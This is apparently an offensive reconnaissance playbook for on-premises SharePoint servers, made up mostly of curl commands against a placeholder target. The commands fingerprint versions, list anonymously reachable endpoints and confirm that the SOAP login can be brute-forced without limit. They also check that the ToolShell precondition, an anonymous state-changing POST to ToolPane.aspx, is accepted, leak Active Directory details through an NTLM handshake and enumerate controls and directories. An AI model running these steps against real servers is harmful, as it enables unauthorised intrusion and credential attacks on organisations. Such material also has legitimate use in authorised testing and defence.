15.0.5545.1000

/_layouts/15/ToolPane.aspx?DisplayMode=Edit

__REQUESTDIGEST

/_vti_bin/Authentication.asmx

Login

# Method 1: _vti_inf.html (always anonymous, always present)
curl -sk "https://target.example/_vti_inf.html"
# → FPVersion="15.00.0.000" (15.x = SP2013, 16.x = SP2016/2019/SE)

# Method 2: _api/contextinfo POST (anonymous on most farms)
curl -sk -X POST "https://target.example/_api/contextinfo" \
  -H "Accept: application/json;odata=verbose" \
  | jq -r '.d.GetContextWebInformation.LibraryVersion'
# → "15.0.5545.1000" (full build number)

# Method 3: /_layouts/15/start.aspx body
curl -sk "https://target.example/_layouts/15/start.aspx" \
  | grep -oE "15\.[0-9]+\.[0-9]+\.[0-9]+|16\.[0-9]+\.[0-9]+\.[0-9]+"

/_vti_inf.html                                          → version disclosure
/_layouts/15/start.aspx                                 → version disclosure + session minting
/_layouts/15/blank.htm                                  → benign anchor for smuggling probes
/_layouts/15/error.aspx                                 → request-validator behaviour probe
/_layouts/15/Authenticate.aspx?Source=                  → redirect-chain behaviour
/_layouts/15/AccessDenied.aspx?Source=                  → redirect-chain behaviour
/_layouts/15/SignOut.aspx                               → logout — anonymous OK
/_layouts/15/closeConnection.aspx                       → anonymous OK
/_layouts/15/scriptresx.ashx?culture=en-us&name=SP.Res  → 35KB localised strings
/_layouts/15/scriptresx.ashx?culture=en-us&name=core    → 277KB localised strings
/_layouts/15/ToolPane.aspx?DisplayMode=Edit             → ToolShell precondition (THIS IS THE BIG ONE)
/_layouts/15/Picker.aspx                                → SafeControl recon (see step 6)
/_layouts/15/<CustomerName>/pages/login/customlogin.aspx    → custom Forms login (replace `<CustomerName>` with target's customer name)
/_vti_bin/Authentication.asmx                           → legacy SOAP login — anonymous brute-force (CRITICAL)
/_vti_bin/Authentication.asmx?WSDL                      → WSDL — confirms Login + Mode ops
/_vti_bin/SharedAccess.asmx                             → often anonymous
/_vti_bin/spsdisco.aspx                                 → SP service discovery
/_api/contextinfo (POST)                                → anonymous FormDigest mint (HIGH)
/_api/$metadata                                         → 381KB API surface enumeration
/_api/Search                                            → search service descriptor
/_api/web/CurrentUser                                   → 401 anon BUT WWW-Authenticate: NTLM leaks AD info (see hunt-ntlm-info)

# First: confirm Mode = Forms (else this attack vector is N/A)
curl -sk -X POST "https://target.example/_vti_bin/Authentication.asmx" \
  -H "Content-Type: text/xml; charset=utf-8" \
  -H "SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Mode" \
  -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Mode xmlns="http://schemas.microsoft.com/sharepoint/soap/" /></soap:Body></soap:Envelope>'
# → <ModeResult>Forms</ModeResult>  ← target is exploitable
# → <ModeResult>Windows</ModeResult>  ← target uses Windows auth only; this vector N/A

# Then: confirm no rate limit / no lockout (synthetic non-existent users ONLY)
# Send 10 bursts at "burst-test-synthetic-zzz" with distinct wrong passwords
# If all 10 return 200 / 431 bytes / uniform timing → confirmed unlimited brute-force surface

# Sub-step a: anonymous GET on ToolPane.aspx
curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit"
# Body should contain: __REQUESTDIGEST="0x...,..."  AND  __VIEWSTATEENCRYPTED=""
# If both: precondition stack is anonymous-reachable.

# Sub-step b: anonymous POST to /_api/contextinfo
curl -sk -X POST "https://target.example/_api/contextinfo" \
  -H "Accept: application/json;odata=verbose" \
  | jq -r '.d.GetContextWebInformation.FormDigestValue'
# Should return a valid digest with 1800s validity.

# Sub-step c: anonymous POST to ToolPane.aspx with that digest as X-RequestDigest
curl -sk -X POST "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
  -H "X-RequestDigest: <digest from step b>" \
  --data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none"
# Should return 200 OK — server treats anonymous-with-digest as authorised state-changing POST.

# Use Burp send_http1_request with keep-alive, or Python raw socket
# Anonymous Type-1 with NetBIOS-info request flag:
#   Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==
# Decode the Type-2 challenge → leaks NetBIOS domain, DNS forest, computer name

for cls in \
  "Microsoft.SharePoint.WebControls.PeopleEditor" \
  "Microsoft.SharePoint.WebControls.ItemPicker" \
  "Microsoft.SharePoint.WebPartPages.DataFormWebPart" \
  ; do
  curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$cls")&typeName=System.String" \
    | grep -oE "<title>[^<]+</title>"
done

for sub in pages Pages js Js JS css scripts handlers controls images config data services api; do
  curl -sk -o /dev/null -w "%{http_code} %{size_download}\n" \
    "https://target.example/_layouts/15/CustomerName/$sub/"
  # 301/302 with auth-redirect = directory exists; 404 = missing; 403 = directory listing blocked but path valid
done

/_api/contextinfo

__VIEWSTATEENCRYPTED=""